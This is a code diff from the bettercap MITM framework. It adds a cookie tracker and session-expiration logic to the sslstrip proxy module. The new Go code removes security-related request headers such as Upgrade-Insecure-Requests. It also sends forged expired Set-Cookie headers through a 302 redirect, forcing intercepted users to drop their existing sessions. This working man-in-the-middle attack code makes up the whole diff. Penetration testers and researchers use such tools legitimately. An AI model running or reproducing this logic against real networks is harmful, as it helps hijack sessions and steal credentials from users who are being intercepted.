implemented cookie monitor and session expiration (ref #154)

modules/http_proxy_base_filters.go

@@ -13,11 +13,6 @@ import (
 func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
 	log.Debug("(%s) < %s %s %s%s", core.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
 
-	// do we have a proxy script?
-	if p.Script == nil {
-		return req, nil
-	}
-
 	// sslstrip preprocessing, takes care of:
 	//
 	// - patching / removing security related headers
@@ -30,6 +25,11 @@ func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*
 		return req, redir
 	}
 
+	// do we have a proxy script?
+	if p.Script == nil {
+		return req, nil
+	}
+
 	// run the module OnRequest callback if defined
 	jsreq, jsres := p.Script.OnRequest(req)
 	if jsreq != nil {

modules/http_proxy_base_sslstriper.go

@@ -1,27 +1,91 @@
 package modules
 
 import (
+	"fmt"
 	"net/http"
+	"strings"
 	"sync"
-	// "strings"
 
-	// "github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/core"
-	// "github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/log"
 
 	"github.com/elazarl/goproxy"
+	"github.com/jpillora/go-tld"
 )
 
 type cookieTracker struct {
 	sync.RWMutex
-	set map[string]string
+	set map[string]bool
 }
 
 func NewCookieTracker() *cookieTracker {
 	return &cookieTracker{
-		set: make(map[string]string),
+		set: make(map[string]bool),
 	}
 }
 
+func (t *cookieTracker) domainOf(req *http.Request) string {
+	if parsed, err := tld.Parse(req.Host); err != nil {
+		log.Warning("Could not parse host %s: %s", req.Host, err)
+		return req.Host
+	} else {
+		return parsed.Domain + "." + parsed.TLD
+	}
+}
+
+func (t *cookieTracker) keyOf(req *http.Request) string {
+	client := strings.Split(req.RemoteAddr, ":")[0]
+	domain := t.domainOf(req)
+	return fmt.Sprintf("%s-%s", client, domain)
+}
+
+func (t *cookieTracker) IsClean(req *http.Request) bool {
+	t.RLock()
+	defer t.RUnlock()
+
+	// we only clean GET requests
+	if req.Method != "GET" {
+		return true
+	}
+
+	// does the request have any cookie?
+	cookie := req.Header.Get("Cookie")
+	if cookie == "" {
+		return true
+	}
+
+	// was it already processed?
+	if _, found := t.set[t.keyOf(req)]; found == true {
+		return true
+	}
+
+	// unknown session cookie
+	return false
+}
+
+func (t *cookieTracker) track(req *http.Request) {
+	t.Lock()
+	defer t.Unlock()
+	t.set[t.keyOf(req)] = true
+}
+
+func (t *cookieTracker) TrackAndExpire(req *http.Request, ctx *goproxy.ProxyCtx) *http.Response {
+	t.track(req)
+
+	domain := t.domainOf(req)
+	redir := goproxy.NewResponse(req, "text/plain", 302, "")
+
+	for _, c := range req.Cookies() {
+		redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, domain))
+		redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, c.Domain))
+	}
+
+	redir.Header.Add("Location", req.URL.String())
+	redir.Header.Add("Connection", "close")
+
+	return redir
+}
+
 type SSLStripper struct {
 	Enabled bool
 	cookies *cookieTracker
@@ -44,5 +108,26 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
 		return
 	}
 
+	// preeprocess headers
+	req.Header.Set("Pragma", "no-cache")
+	for name, _ := range req.Header {
+		if name == "Accept-Encoding" {
+			req.Header.Del(name)
+		} else if name == "If-None-Match" {
+			req.Header.Del(name)
+		} else if name == "If-Modified-Since" {
+			req.Header.Del(name)
+		} else if name == "Upgrade-Insecure-Requests" {
+			req.Header.Del(name)
+		}
+	}
+
+	// check if we need to redirect the user in order
+	// to make unknown session cookies expire
+	if s.cookies.IsClean(req) == false {
+		log.Info("[%s] Sending expired cookies for %s to %s", core.Green("sslstrip"), core.Yellow(req.Host), req.RemoteAddr)
+		redir = s.cookies.TrackAndExpire(req, ctx)
+	}
+
 	return
 }